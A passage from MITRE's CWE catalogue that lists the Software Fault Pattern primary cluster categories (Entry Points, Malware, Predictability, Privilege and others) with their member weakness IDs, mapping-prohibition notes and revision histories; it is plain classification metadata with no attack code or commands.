MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.958SFP Secondary Cluster: Broken Cryptography
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.959SFP Secondary Cluster: Weak Cryptography
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Cryptography

CWE CATEGORY: SFP Primary Cluster: Entry Points

Category ID: 897
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Entry Points cluster (SFP28).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Entry Points

CWE CATEGORY: SFP Primary Cluster: Exception Management

Category ID: 889
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Exception Management cluster (SFP4, SFP5, SFP6).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.960SFP Secondary Cluster: Ambiguous Exception Type
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.961SFP Secondary Cluster: Incorrect Exception Behavior
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Exception Management

CWE CATEGORY: SFP Primary Cluster: Failure to Release Memory

Category ID: 1238
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Failure to Release Memory cluster (SFP38).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.401Missing Release of Memory after Effective Lifetime
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2019-11-25
(CWE 4.0, 2020-02-24)
KDM Analytics
+ Modifications
Modification DateModifierOrganization
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Primary Cluster: Faulty Resource Release

Category ID: 1237
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Release cluster (SFP37).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.415Double Free
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.762Mismatched Memory Management Routines
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.763Release of Invalid Pointer or Reference
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2019-11-25
(CWE 4.0, 2020-02-24)
KDM Analytics
+ Modifications
Modification DateModifierOrganization
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Primary Cluster: Information Leak

Category ID: 895
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Information Leak cluster (SFP23).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.964SFP Secondary Cluster: Exposure Temporary File
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.965SFP Secondary Cluster: Insecure Session Management
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.966SFP Secondary Cluster: Other Exposures
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.967SFP Secondary Cluster: State Disclosure
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Information Leak

CWE CATEGORY: SFP Primary Cluster: Malware

Category ID: 904
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Malware cluster.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.69Improper Handling of Windows ::DATA Alternate Data Stream
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.506Embedded Malicious Code
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.507Trojan Horse
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.508Non-Replicating Malicious Code
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.509Replicating Malicious Code (Virus or Worm)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.510Trapdoor
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.511Logic/Time Bomb
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.512Spyware
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.968SFP Secondary Cluster: Covert Channel
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Malware

CWE CATEGORY: SFP Primary Cluster: Memory Access

Category ID: 890
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Memory Access cluster (SFP7, SFP8).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.971SFP Secondary Cluster: Faulty Pointer Use
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.972SFP Secondary Cluster: Faulty String Expansion
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.973SFP Secondary Cluster: Improper NULL Termination
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.974SFP Secondary Cluster: Incorrect Buffer Length Computation
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Memory Access

CWE CATEGORY: SFP Primary Cluster: Memory Management

Category ID: 891
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Memory Management cluster (SFP38).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.969SFP Secondary Cluster: Faulty Memory Release
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Memory Management

CWE CATEGORY: SFP Primary Cluster: Other

Category ID: 907
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Other cluster.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.976SFP Secondary Cluster: Compiler
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.978SFP Secondary Cluster: Implementation
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Other

CWE CATEGORY: SFP Primary Cluster: Path Resolution

Category ID: 893
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Path Resolution cluster (SFP16, SFP17, SFP18).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.979SFP Secondary Cluster: Failed Chroot Jail
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.980SFP Secondary Cluster: Link in Resource Name Resolution
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2013-07-17CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2017-11-08CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Path Resolution

CWE CATEGORY: SFP Primary Cluster: Predictability

Category ID: 905
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Predictability cluster.
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.331Insufficient Entropy
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.332Insufficient Entropy in PRNG
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.333Improper Handling of Insufficient Entropy in TRNG
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.334Small Space of Random Values
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.335Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.336Same Seed in Pseudo-Random Number Generator (PRNG)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.337Predictable Seed in Pseudo-Random Number Generator (PRNG)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.338Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.339Small Seed Space in PRNG
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.340Generation of Predictable Numbers or Identifiers
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.341Predictable from Observable State
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.342Predictable Exact Value from Previous Values
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.343Predictable Value Range from Previous Values
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.344Use of Invariant Value in Dynamically Changing Context
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Predictability

CWE CATEGORY: SFP Primary Cluster: Privilege

Category ID: 901
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Privilege cluster (SFP36).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.9J2EE Misconfiguration: Weak Access Permissions for EJB Methods
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.250Execution with Unnecessary Privileges
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.266Incorrect Privilege Assignment
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.267Privilege Defined With Unsafe Actions
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.268Privilege Chaining
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.270Privilege Context Switching Error
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.271Privilege Dropping / Lowering Errors
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.272Least Privilege Violation
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.274Improper Handling of Insufficient Privileges
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.520.NET Misconfiguration: Use of Impersonation
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.653Improper Isolation or Compartmentalization
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Privilege

CWE CATEGORY: SFP Primary Cluster: Resource Management

Category ID: 892
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Resource Management cluster (SFP37).
+ Membership
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).888Software Fault Pattern (SFP) Clusters
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.982SFP Secondary Cluster: Failure to Release Resource
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.983SFP Secondary Cluster: Faulty Resource Use
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.984SFP Secondary Cluster: Life Cycle
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.985SFP Secondary Cluster: Unrestricted Consumption
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2014-07-30CWE Content TeamMITRE
updated Name, Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-07-31SFP Cluster: Resource Management

CWE CATEGORY: SFP Primary Cluster: Risky Values

Category ID: 885
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
